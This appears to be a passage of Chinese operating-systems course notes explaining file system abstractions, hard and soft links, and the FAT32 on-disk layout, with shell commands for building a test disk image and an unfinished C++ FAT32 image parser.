&lt;ul&gt;
&lt;li&gt;共享原始磁盘：字符序列不是一个磁盘的好抽象&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;原始的物理磁盘，对于操作系统而言，可以看作一个巨大的一维数组序列，由可读写的物理块(Block)组成。如果允许多个应用程序直接共享这个原始设备，而不加任何管理，将会导致一场灾难。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;缺乏基本的数据结构：&lt;/strong&gt; 应用程序看到的是一堆无差别的磁盘块。它们需要自行记录哪些块属于自己，哪些块是空闲的。这极易导致冲突，一个应用程序可能会意外或故意地覆盖另一个程序的数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;并发访问失控：&lt;/strong&gt; 如果两个应用程序同时尝试写入磁盘的同一区域，它们的操作会相互干扰覆盖。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;没有隔离与保护：&lt;/strong&gt; 任何应用程序都可以读取或修改磁盘的任意部分，包括其他程序的数据甚至操作系统的核心文件。这带来了巨大的安全风险，一个程序的错误可能导致整个系统崩溃。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;元数据缺失：&lt;/strong&gt; 诸如“文件名”、“文件大小”、“创建时间”、“访问权限”这类描述数据的数据（即元数据）无处存放。每个应用程序都需要用自己独特的方式去实现这些功能，导致数据无法通用和共享。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 文件系统：存储设备的虚拟化管理者&lt;/h3&gt;
&lt;p&gt;为了解决上述问题，操作系统引入了文件系统(File System)这一关键抽象层。文件系统可以被视为 &lt;strong&gt;“对存储设备的虚拟化”&lt;/strong&gt;。 它在混乱的物理磁盘之上，构建了一个有序可靠高效的虚拟世界。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物理磁盘(&lt;code&gt;IO设备&lt;/code&gt;):&lt;/strong&gt; 从硬件层面看，它是一个可按**块(Block)&lt;strong&gt;为单位进行读写的、&lt;/strong&gt;&lt;code&gt;定长&lt;/code&gt;**的字节序列。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件系统提供的虚拟磁盘(&lt;code&gt;文件&lt;/code&gt;):&lt;/strong&gt; 这是提供给应用程序的逻辑视角，它将物理磁盘抽象成一个个&lt;strong&gt;文件(File)&lt;/strong&gt;。每个文件都是一个可读写的、**&lt;code&gt;动态&lt;/code&gt;**的字节序列。（&lt;code&gt;std::vector&amp;lt;char&amp;gt;&lt;/code&gt;）
这种虚拟化带来了质的飞跃，屏蔽了底层硬件的复杂性，为上层应用提供了简洁、一致的接口。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 文件系统的核心机制：&lt;/h3&gt;
&lt;h4&gt;&lt;strong&gt;隔离与保护：构建错误与恶意行为的防火墙&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;这是实现安全共享的基石。文件系统提供了一套严格的访问控制机制，确保数据不被非法访问或意外破坏。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;访问控制：&lt;/strong&gt; 通过经典的权限模型（例如，Linux系统中为每个文件设定的所有者、所属组、其他人的读(r)、写(w)、执行(x)权限）和更精细的访问控制列表(ACLs)，文件系统可以精确地控制哪个用户或哪个程序能对文件做什么操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;并发控制：&lt;/strong&gt; 当多个应用程序需要同时访问同一个文件时，文件系统通过**文件锁(File Locking)**等机制来协调操作顺序。 这可以防止多个程序同时写入导致数据错乱，确保了数据的一致性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;命名管理：让数据井然有序，易于检索&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;文件系统为存储在磁盘上的数据提供了人类可读的命名空间，解决了“找得到”和“管得好”的问题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;命名与检索：&lt;/strong&gt; 文件系统允许我们为文件和目录赋予有意义的名称，并通过路径(Path)来定位它们。例如 /home/user/document.txt。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;层次化结构（遍历）：&lt;/strong&gt; 现代文件系统大多采用树状的目录结构来组织文件。 这种层次化的命名空间非常符合人类的组织习惯，使得我们可以方便地对文件进行分类、组织和遍历。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;元数据(Metadata)管理：&lt;/strong&gt; 文件系统不仅存储文件本身的数据，还存储着关于文件的“数据”——元数据(Metadata)。 这包括文件名、大小、权限、所有者、创建/修改时间戳，以及指向真正数据块的指针等。在Linux等系统中，这些信息被集中存放在一个叫做&lt;strong&gt;索引节点(&lt;code&gt;inode&lt;/code&gt;)&lt;/strong&gt; 的数据结构中。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;数据管理：提供动态灵活的字节容器&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;屏蔽物理细节：&lt;/strong&gt; 应用程序操作文件时，看到的是一个连续的字节序列。但实际上，文件的数据块可能是不连续地（碎片化地）存储在磁盘的各个位置。文件系统负责维护这种从“逻辑连续”到“物理分散”的映射关系，对应用程序完全透明。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;随机读写：&lt;/strong&gt; 文件系统提供了强大的API，允许应用程序在文件的任意位置（通过偏移量 &lt;code&gt;offset&lt;/code&gt;）进行读写，而不仅仅是从头到尾顺序读写。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态调整大小(Resize)：&lt;/strong&gt; 文件的大小不是固定的。当应用程序向文件写入更多数据时，文件系统会自动从磁盘的“空闲空间池”中分配新的数据块给该文件；当文件数据被删除或截断时，文件系统会回收这些数据块，使其可以被其他文件重用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;mount&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int mount(const char *source, const char *target, const char *filesystemtype, unsigned long mountflags, const void *data);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo strace mount ./disk.img ./mnt
# ioctl(3, LOOP_CTL_GET_FREE)
# ioctl(4, LOOP_SET_FD, 3)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;硬链接&lt;/h3&gt;
&lt;p&gt;理解硬链接和软链接（也叫符号链接）的区别，关键在于理解Linux文件系统如何通过inode来管理文件。下面这个表格能让你快速把握它们的核心差异。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;硬链接 (Hard Link)&lt;/th&gt;
&lt;th&gt;软链接 (Symbolic Link)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;本质&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;是原始文件的&lt;strong&gt;另一个别名&lt;/strong&gt;，直接指向文件数据的inode&lt;/td&gt;
&lt;td&gt;是一个&lt;strong&gt;独立的特殊文件&lt;/strong&gt;，内容为原始文件的路径字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;inode号码&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;与原始文件&lt;strong&gt;相同&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;与原始文件&lt;strong&gt;不同&lt;/strong&gt;，拥有自己的inode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;跨文件系统&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;不支持&lt;/strong&gt;。必须在同一文件系统内&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;支持&lt;/strong&gt;。可以链接到不同分区或设备上的文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;链接目录&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;通常不允许&lt;/strong&gt;（超级用户可能有例外）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;支持&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;删除原始文件&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;不受影响&lt;/strong&gt;。文件数据仍可通过硬链接访问&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;链接失效&lt;/strong&gt;。变成“悬空链接”，指向无效路径&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;文件大小&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;与原始文件&lt;strong&gt;相同&lt;/strong&gt;（因为它们共享数据块）&lt;/td&gt;
&lt;td&gt;通常很小，是&lt;strong&gt;存储的路径名的字符长度&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;关系比喻&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;一个人的多个&lt;strong&gt;绰号&lt;/strong&gt;，指向同一个实体&lt;/td&gt;
&lt;td&gt;指向某个文件的&lt;strong&gt;快捷方式&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;使用硬链接(ln)的场景&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;防止误删重要文件&lt;/strong&gt;：为关键文件创建硬链接，即使“原始”文件名被删除，数据仍通过硬链接安全存在。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件备份与同步&lt;/strong&gt;：在一些备份场景中，创建硬链接可以节省空间，并且保证备份文件与源文件同步更新。但请注意，硬链接无法备份目录本身（除非对目录内每个文件分别创建硬链接）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用软链接(ln -s)的场景&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;创建快捷方式&lt;/strong&gt;：这是最常用的场景，比如在桌面为深藏目录中的程序创建一个软链接，方便访问。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接到目录&lt;/strong&gt;：这是软链接的独特优势，你可以为整个目录创建软链接。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨文件系统链接&lt;/strong&gt;：当需要链接的文件位于另一个硬盘或分区时，必须使用软链接。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;link unlink
getdents&lt;/p&gt;
&lt;p&gt;readdir globbing&lt;/p&gt;
&lt;h2&gt;FAT (File Allocation Table)&lt;/h2&gt;
&lt;p&gt;文件分配表（File Allocation Table）是一种自 20 世纪 70 年代末期便已存在的文件系统，最初是为软盘设计的。 随着磁盘容量的不断增长，FAT 也经历了 FAT12、FAT16 到 FAT32 的演进。 FAT32 中的“32”指的是文件分配表中使用 32 位来寻址，这使得它能够支持更大的分区和文件。&lt;/p&gt;
&lt;p&gt;尽管现代操作系统（如 Windows NT 及其后续版本）大多采用 NTFS 文件系统，但 FAT32 凭借其卓越的兼容性，至今仍在移动存储介质（如 U 盘、SD 卡）和需要跨平台数据交换的场景中扮演着不可或缺的角色。 它几乎被所有主流操作系统支持，包括 Windows、macOS 和 Linux。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RTFM&lt;/strong&gt;：&lt;a href=&quot;https://jyywiki.cn/pages/OS/manuals/MSFAT-spec.pdf&quot;&gt;Microsoft Extensible File Allocation Table File System Specification, FAT: General Overview of On-Disk Format&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;卷结构 (Volume Structure)：磁盘上的三大法定区域&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;保留区域 (&lt;code&gt;Reserved Region&lt;/code&gt;)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FAT 区域 (&lt;code&gt;FAT Region&lt;/code&gt;)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据区域 (&lt;code&gt;File and Directory Data Region&lt;/code&gt;)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;（可选）&lt;strong&gt;未分配空间 (Unallocated Space)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;1. 保留区域：文件系统的“启动参数”&lt;/h4&gt;
&lt;p&gt;该区域位于卷的起始位置，其首个扇区被称为&lt;strong&gt;卷引导记录(&lt;code&gt;VBR&lt;/code&gt;, Volume Boot Record)&lt;/strong&gt;。 &lt;code&gt;VBR&lt;/code&gt; 对于操作系统而言至关重要，因为它内部包含了一个名为&lt;strong&gt;BIOS 参数块(&lt;code&gt;BPB&lt;/code&gt;, BIOS Parameter Block)&lt;/strong&gt; 的数据结构，而 &lt;code&gt;BPB&lt;/code&gt; 定义了该卷的所有物理和逻辑参数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#pragma pack(push, 1)
struct Header {
    // ... (跳转指令和OEM名称)
    u16 BPB_BytsPerSec; // 每个扇区的字节数 (必须是 512, 1024, 2048 或 4096)
    u8  BPB_SecPerClus; // 每个簇的扇区数 (必须是2的幂)
    u16 BPB_RsvdSecCnt; // 保留区域的总扇区数
    u8  BPB_NumFATs;    // FAT 的数量 (强烈推荐为 2)
    // ...
    u32 BPB_TotSec32;   // 卷中的总扇区数
    u32 BPB_FATSz32;    // 单个 FAT 表占用的扇区数
    u32 BPB_RootClus;   // 根目录的起始簇号 (通常是 2)
    // ...
    u16 Signature_word; // 结尾签名，必须是 0xAA55
};
#pragma pack(pop)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;操作系统启动时，首先读取 VBR，并根据 &lt;code&gt;BPB_RsvdSecCnt&lt;/code&gt; 确定 FAT 区域的起始位置，根据 &lt;code&gt;BPB_NumFATs&lt;/code&gt; 和 &lt;code&gt;BPB_FATSz32&lt;/code&gt; 确定数据区域的起始位置。这些参数是后续所有地址计算的基础。&lt;/p&gt;
&lt;h4&gt;2. FAT 区域：簇链的索引地图&lt;/h4&gt;
&lt;p&gt;紧随保留区域之后的是一个或多个文件分配表 (FAT)。微软规范将 FAT 定义为一个&lt;strong&gt;簇索引数组&lt;/strong&gt;，其核心功能是记录数据区中每个簇的状态。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;结构&lt;/strong&gt;：在 FAT32 中，这是一个由 32 位条目(u32)组成的数组。数组的下标（索引）与数据区的簇号一一对应。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;28位寻址&lt;/strong&gt;：尽管条目是 32 位的，但 FAT32 仅使用&lt;strong&gt;低 28 位&lt;/strong&gt;来存储簇号。高 4 位被保留，且在读写时必须被操作系统屏蔽。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特殊值&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00000000&lt;/code&gt;: 标志着一个&lt;strong&gt;空闲簇(Free Cluster)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0FFFFFF7&lt;/code&gt;: 标志着一个&lt;strong&gt;坏簇(Bad Cluster)&lt;/strong&gt;，应被操作系统禁用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0FFFFFF8&lt;/code&gt; - &lt;code&gt;0x0FFFFFFF&lt;/code&gt;: 任何等于或大于此范围的值都表示&lt;strong&gt;链表结束标记 (&lt;code&gt;EOC&lt;/code&gt;, End-of-Chain)&lt;/strong&gt;。&lt;code&gt;0x0FFFFFFF&lt;/code&gt; 是最常用的 EOC 标记。&lt;/li&gt;
&lt;li&gt;其他值：指向文件中下一个簇的簇号。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 数据区域：文件内容的最终归宿&lt;/h4&gt;
&lt;p&gt;这里是存储所有文件和目录实际数据的广阔空间。该区域被划分为大小一致的&lt;strong&gt;簇(&lt;code&gt;Cluster&lt;/code&gt;)&lt;/strong&gt;，簇是 FAT32 文件系统进行空间分配的最小单位。一个文件的数据可能散布在数据区内多个不连续的簇中，而将它们在逻辑上串联起来的“线”，就是 FAT 中记录的簇链。&lt;/p&gt;
&lt;h3&gt;核心机制：操作系统如何追踪文件簇链&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定位目录条目 (Directory Entry)&lt;/strong&gt;：操作系统首先在父目录的数据中搜索目标文件。目录本身也是一个文件，其内容是由 32 字节的 &lt;code&gt;DirectoryEntry&lt;/code&gt; 结构体组成的序列。&lt;pre&gt;&lt;code&gt;struct DirectoryEntry {
    u8  DIR_Name[11];  // 8.3 格式文件名
    u8  DIR_Attr;      // 文件属性
    // ...
    u16 DIR_FstClusHI; // 起始簇号高 16 位
    u16 DIR_FstClusLO; // 起始簇号低 16 位
    u32 DIR_FileSize;  // 文件大小（字节）
};
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;获取起始簇号&lt;/strong&gt;：找到条目后，操作系统将 &lt;code&gt;DIR_FstClusHI&lt;/code&gt; 和 &lt;code&gt;DIR_FstClusLO&lt;/code&gt; 组合成一个 32 位整数，这便是文件数据的&lt;strong&gt;第一个簇号&lt;/strong&gt;。
&lt;code&gt;u32 start_cluster = (entry-&amp;gt;DIR_FstClusHI &amp;lt;&amp;lt; 16) | entry-&amp;gt;DIR_FstClusLO;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计算物理地址&lt;/strong&gt;：操作系统使用 BPB 中的参数计算出该簇在磁盘上的精确字节偏移。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FirstDataSector = BPB_RsvdSecCnt + (BPB_NumFATs * BPB_FATSz32);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ClusterOffset = (cluster_num - 2) * BPB_SecPerClus * BPB_BytsPerSec;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PhysicalAddress = FirstDataSector * BPB_BytsPerSec + ClusterOffset;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读取数据&lt;/strong&gt;：操作系统从计算出的物理地址读取 &lt;code&gt;BPB_SecPerClus * BPB_BytsPerSec&lt;/code&gt; 字节的数据，这是文件的第一块内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查询 FAT 表以追踪链条&lt;/strong&gt;：为了找到文件的下一部分，操作系统必须查询 FAT。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;计算 FAT 条目地址&lt;/strong&gt;：&lt;code&gt;FATEntryOffset = current_cluster_num * 4;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读取条目值&lt;/strong&gt;：操作系统从 FAT 区域的起始地址加上这个偏移，读取一个 32 位的值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;屏蔽高 4 位&lt;/strong&gt;：将读取到的值与 &lt;code&gt;0x0FFFFFFF&lt;/code&gt; 进行按位与操作，以获取真实的下一个簇号。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;u32 next_cluster(u32 cluster_num) const {
    // 定位 FAT 表
    const u32* fat_table = ...;
    // 索引并屏蔽
    return fat_table[cluster_num] &amp;amp; 0x0FFFFFFF;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;循环与终止&lt;/strong&gt;：操作系统将上一步获得的新簇号作为 &lt;code&gt;current_cluster_num&lt;/code&gt;，重复步骤 3、4、5，直到从 FAT 中读取到的值是 EOC 标记。此时，文件读取过程完成。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;长文件名 (LFN) 支持：一个巧妙的兼容层&lt;/h3&gt;
&lt;p&gt;微软规范详细描述了 FAT32 如何在不破坏与旧系统兼容性的前提下支持长文件名。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当一个文件拥有长文件名时，文件系统会为其创建一组或多组特殊的&lt;strong&gt;长文件名目录条目 (LFN Entry)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;这些 LFN 条目紧挨着该文件的真实 8.3 格式目录条目之前。&lt;/li&gt;
&lt;li&gt;LFN 条目具有 &lt;code&gt;READ_ONLY | HIDDEN | SYSTEM | VOLUME_ID&lt;/code&gt; 的特殊属性组合，不识别 LFN 的旧系统会直接忽略它们。&lt;/li&gt;
&lt;li&gt;文件名（Unicode 编码）被分割并存储在这些 LFN 条目中，操作系统需要从后向前依次读取它们，才能重构出完整的文件名。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;P.S. 规范即代码，代码即规范 (RTFM &amp;amp; check)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dd if=/dev/zero of=fat32.img bs=1M count=100 # 100MB
mkfs.fat -F 32 -n &quot;MY_FAT32&quot; -i 0066CCFF -v fat32.img
fdisk -l fat32.img
fsck.fat -v fat32.img

# sudo mount fat32.img mnt
# sudo cp -r ... mnt
# ./a.out fat32.img &amp;amp;| vim -
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cassert&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;filesystem&amp;gt;
#include &amp;lt;fstream&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;memory&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;system_error&amp;gt;
#include &amp;lt;vector&amp;gt;

#ifdef __linux__
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#endif

using u8 = uint8_t;
using u16 = uint16_t;
using u32 = uint32_t;

namespace fat32 {

// 常量定义
constexpr u32 CLUSTER_INVALID = 0xFFFFFF7;
constexpr u16 SIGNATURE_WORD = 0xAA55;

// 使用强类型枚举代替宏定义
enum class Attribute : u8 {
    READ_ONLY = 0x01,
    HIDDEN = 0x02,
    SYSTEM = 0x04,
    VOLUME_ID = 0x08,
    DIRECTORY = 0x10,
    ARCHIVE = 0x20
};

// 使用POD结构体，确保内存布局
#pragma pack(push, 1)
struct Header {
    u8 BS_jmpBoot[3];
    u8 BS_OEMName[8];
    u16 BPB_BytsPerSec;
    u8 BPB_SecPerClus;
    u16 BPB_RsvdSecCnt;
    u8 BPB_NumFATs;
    u16 BPB_RootEntCnt;
    u16 BPB_TotSec16;
    u8 BPB_Media;
    u16 BPB_FATSz16;
    u16 BPB_SecPerTrk;
    u16 BPB_NumHeads;
    u32 BPB_HiddSec;
    u32 BPB_TotSec32;
    u32 BPB_FATSz32;
    u16 BPB_ExtFlags;
    u16 BPB_FSVer;
    u32 BPB_RootClus;
    u16 BPB_FSInfo;
    u16 BPB_BkBootSec;
    u8 BPB_Reserved[12];
    u8 BS_DrvNum;
    u8 BS_Reserved1;
    u8 BS_BootSig;
    u32 BS_VolID;
    u8 BS_VolLab[11];
    u8 BS_FilSysType[8];
    u8 __padding_1[420];
    u16 Signature_word;
};

struct DirectoryEntry {
    u8 DIR_Name[11];
    u8 DIR_Attr;
    u8 DIR_NTRes;
    u8 DIR_CrtTimeTenth;
    u16 DIR_CrtTime;
    u16 DIR_CrtDate;
    u16 DIR_LastAccDate;
    u16 DIR_FstClusHI;
    u16 DIR_WrtTime;
    u16 DIR_WrtDate;
    u16 DIR_FstClusLO;
    u32 DIR_FileSize;
};
#pragma pack(pop)

static_assert(sizeof(Header) == 512, &quot;Header size mismatch&quot;);
static_assert(sizeof(DirectoryEntry) == 32, &quot;DirectoryEntry size mismatch&quot;);

// 异常类用于错误处理
class Fat32Exception : public std::exception {
  private:
    std::string m_msg;

  public:
    explicit Fat32Exception(const std::string&amp;amp; msg) : m_msg(msg) {}
    const char* what() const noexcept override { return m_msg.c_str(); }
};

// RAII类管理内存映射
class MemoryMappedFile {
  private:
    void* m_data = nullptr;
    size_t m_size = 0;

  public:
    MemoryMappedFile(const std::string&amp;amp; filename) {
#ifdef __linux__
        int fd = open(filename.c_str(), O_RDONLY);
        if (fd &amp;lt; 0) {
            throw Fat32Exception(&quot;Failed to open file: &quot; + filename);
        }
        // lseek获取文件大小
        m_size = lseek(fd, 0, SEEK_END);
        if (m_size == static_cast&amp;lt;off_t&amp;gt;(-1)) {
            close(fd);
            throw Fat32Exception(&quot;Failed to get file size&quot;);
        }
        // mmap内存映射
        m_data = mmap(nullptr, m_size, PROT_READ, MAP_PRIVATE, fd, 0);
        close(fd);
        if (m_data == MAP_FAILED) {
            throw Fat32Exception(&quot;Memory mapping failed&quot;);
        }
#else
        throw Fat32Exception(&quot;Memory mapping only supported on Linux&quot;);
#endif
    }

    ~MemoryMappedFile() {
        if (m_data) {
#ifdef __linux__
            munmap(m_data, m_size);
#endif
        }
    }

    // 禁用拷贝
    MemoryMappedFile(const MemoryMappedFile&amp;amp;) = delete;
    MemoryMappedFile&amp;amp; operator=(const MemoryMappedFile&amp;amp;) = delete;
    // 允许移动
    MemoryMappedFile(MemoryMappedFile&amp;amp;&amp;amp; other) noexcept : m_data(other.m_data), m_size(other.m_size) {
        other.m_data = nullptr;
        other.m_size = 0;
    }
    MemoryMappedFile&amp;amp; operator=(MemoryMappedFile&amp;amp;&amp;amp; other) noexcept {
        if (this != &amp;amp;other) {
            if (m_data) {
#ifdef __linux__
                munmap(m_data, m_size);
#endif
            }
            m_data = other.m_data;
            m_size = other.m_size;
            other.m_data = nullptr;
            other.m_size = 0;
        }
        return *this;
    }

    const void* data() const { return m_data; }
    size_t size() const { return m_size; }

    template &amp;lt;typename T&amp;gt;
    const T* as() const {
        return reinterpret_cast&amp;lt;const T*&amp;gt;(m_data);
    }
};

// 文件块范围信息结构体
struct ClusterRange {
    u32 start_cluster;
    u32 end_cluster;
    u32 cluster_count{};

    ClusterRange(u32 start, u32 end) : start_cluster(start), end_cluster(end) {
        if (start &amp;lt;= end) {
            cluster_count = end - start + 1;
        }
    }

    std::string to_string() const {
        if (cluster_count == 0) {
            return &quot;empty&quot;;
        }
        if (cluster_count == 1) {
            return &quot;(&quot; + std::to_string(start_cluster) + &quot;)&quot;;
        }
        return &quot;(&quot; + std::to_string(start_cluster) + &quot;-&quot; + std::to_string(end_cluster) + &quot;) # &quot; +
               std::to_string(cluster_count) + &quot; clusters&quot;;
    }
};

// 主FAT32解析器类
class Fat32Parser {
  private:
    MemoryMappedFile m_mapped_file;
    const Header* m_header = nullptr;

  public:
    explicit Fat32Parser(const std::string&amp;amp; filename) : m_mapped_file(filename) {
        m_header = m_mapped_file.as&amp;lt;Header&amp;gt;();
        if (!m_header) {
            throw Fat32Exception(&quot;Invalid header pointer&quot;);
        }
        validate_header();
        print_header_info(filename);
    }

    void traverse_filesystem() {
        std::cout &amp;lt;&amp;lt; &quot;File System Structure:\n&quot;;
        std::cout &amp;lt;&amp;lt; &quot;=====================\n&quot;;
        ClusterRange root_range = get_cluster_range(m_header-&amp;gt;BPB_RootClus);
        std::cout &amp;lt;&amp;lt; &quot;[根目录] &amp;lt;DIR&amp;gt; 簇块范围: &quot; &amp;lt;&amp;lt; root_range.to_string() &amp;lt;&amp;lt; &quot;\n&quot;;
        dfs(m_header-&amp;gt;BPB_RootClus, 1, true);
    }

  private:
    void validate_header() const {
        if (m_header-&amp;gt;Signature_word != SIGNATURE_WORD) {
            throw Fat32Exception(&quot;Invalid MBR signature&quot;);
        }
        if (m_header-&amp;gt;BPB_TotSec32 * m_header-&amp;gt;BPB_BytsPerSec != m_mapped_file.size()) {
            throw Fat32Exception(&quot;File size mismatch&quot;);
        }
    }

    void print_header_info(const std::string&amp;amp; filename) const {
        std::cout &amp;lt;&amp;lt; filename &amp;lt;&amp;lt; &quot;: DOS/MBR boot sector, &quot;;
        std::cout &amp;lt;&amp;lt; &quot;OEM-ID \&quot;&quot;;
        // 安全打印OEM名称（可能不是null终止的）
        for (int i = 0; i &amp;lt; 8 &amp;amp;&amp;amp; m_header-&amp;gt;BS_OEMName[i] != 0; ++i) {
            std::cout &amp;lt;&amp;lt; static_cast&amp;lt;char&amp;gt;(m_header-&amp;gt;BS_OEMName[i]);
        }
        std::cout &amp;lt;&amp;lt; &quot;\&quot;, &quot;;
        std::cout &amp;lt;&amp;lt; &quot;sectors/cluster &quot; &amp;lt;&amp;lt; static_cast&amp;lt;int&amp;gt;(m_header-&amp;gt;BPB_SecPerClus) &amp;lt;&amp;lt; &quot;, &quot;;
        std::cout &amp;lt;&amp;lt; &quot;sectors &quot; &amp;lt;&amp;lt; m_header-&amp;gt;BPB_TotSec32 &amp;lt;&amp;lt; &quot;, &quot;;
        std::cout &amp;lt;&amp;lt; &quot;sectors/FAT &quot; &amp;lt;&amp;lt; m_header-&amp;gt;BPB_FATSz32 &amp;lt;&amp;lt; &quot;, &quot;;
        std::cout &amp;lt;&amp;lt; &quot;serial number 0x&quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; m_header-&amp;gt;BS_VolID &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; &quot;\n&quot;;
    }

    u32 next_cluster(u32 cluster_num) const {
        const u32* fat_table = reinterpret_cast&amp;lt;const u32*&amp;gt;(reinterpret_cast&amp;lt;const u8*&amp;gt;(m_header) +
                                                            m_header-&amp;gt;BPB_RsvdSecCnt * m_header-&amp;gt;BPB_BytsPerSec);
